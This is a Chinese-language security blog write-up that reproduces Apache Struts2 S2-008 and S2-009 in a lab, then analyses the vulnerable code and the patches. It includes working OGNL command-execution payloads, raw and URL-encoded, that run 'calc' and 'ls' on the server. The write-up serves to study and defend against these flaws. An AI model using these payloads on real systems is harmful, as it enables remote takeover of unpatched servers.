S2-008 &S2-009 远程代码执行漏洞检测与利用

前言

漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv

S2-008

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-008

主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码

第一种情况其实就是S2-007,在异常处理时的OGNL执行

第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋

第四种需要开启devModedebug模式

漏洞利用

这里复现采用的是第四种devMode的debug模式,造成的任意代码执行

过程也比较简单,在struts.xml中配置了如下xml语句,就可以开启debug模式

<constant name="struts.devMode" value="true" />

然后传入?debug=command&expression=<OGNL EXP>即可执行OGNL表达式

http://localhost:8888/devmode.action?debug=command&expression=%28%23application%29

就可以看到应用的相关信息

然后按照惯例弹个计算器,payload

(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('calc').getInputStream()))

传入前记得编码

%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29

漏洞分析

感觉没有什么太多好分析的,触发地址

S2-008/web/WEB-INF/lib/struts2-core-2.2.3.jar!/org/apache/struts2/interceptor/debugging/DebuggingInterceptor.class:87

代码比较多,而且比较多的部分都是无用的代码,就简化了下

public String intercept(ActionInvocation inv) throws Exception {
    boolean actionOnly = false;
    boolean cont = true;
    Boolean devModeOverride = FilterDispatcher.getDevModeOverride();
    boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;
    final ActionContext ctx;
    if (devMode) {
        ctx = ActionContext.getContext();
        String type = this.getParameter("debug");
        ctx.getParameters().remove("debug");
        if ("xml".equals(type)) {
			....
        } else if ("console".equals(type)) {
			....
        } else if ("command".equals(type)) {
            ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
            if (stack == null) {
                stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
                ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
            }

            String cmd = this.getParameter("expression");
            ServletActionContext.getRequest().setAttribute("decorator", "none");
            HttpServletResponse res = ServletActionContext.getResponse();
            res.setContentType("text/plain");

            try {
                PrintWriter writer = ServletActionContext.getResponse().getWriter();
                writer.print(stack.findValue(cmd));
                writer.close();
            } catch (IOException var17) {
                var17.printStackTrace();
            }
            .....

一开始取出get中的debug参数的值,然后进入if语句

当值等于command时,取出expression的值赋值给cmd

通过statck.findValue即可执行OGNL表达式,造成代码执行

漏洞修复

主要是加强了对于参数的正则匹配ParametersInterceptor.class(左边为修补后的,右边为有漏洞的版本)

CookieInterceptor.class中也做了限制

S2-009

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-009

在修补了S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor正则保护的攻击方式

当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

漏洞利用

这回是直接利用官方的showcasewar包来演示漏洞利用

触发地址/ajax/example5.action

在网上找了个有回显的payload

age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec('ls').getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

编码后完整的url

http://192.168.85.133:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

网页访问会返回一个文件下载,这里直接用burp会方便点,可以直接看

漏洞分析

感觉这回的没什么好分析的,还是之前提的

当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护

主要还是参数过滤的问题,可以配合漏洞修复一起看看

漏洞修复

在参数拦截器中,将接受参数的正则进行了升级

struts2.3.1.1:

private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+";

struts2.3.1.2:

private String acceptedParamNames = "\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*";

从而防御了(ONGL)(1)形式的攻击

Reference Links

https://www.jianshu.com/p/68bf5ca2d61f

总会有不期而遇的温暖. 和生生不息的希望。
原文地址:https://www.cnblogs.com/devi1/p/13486631.html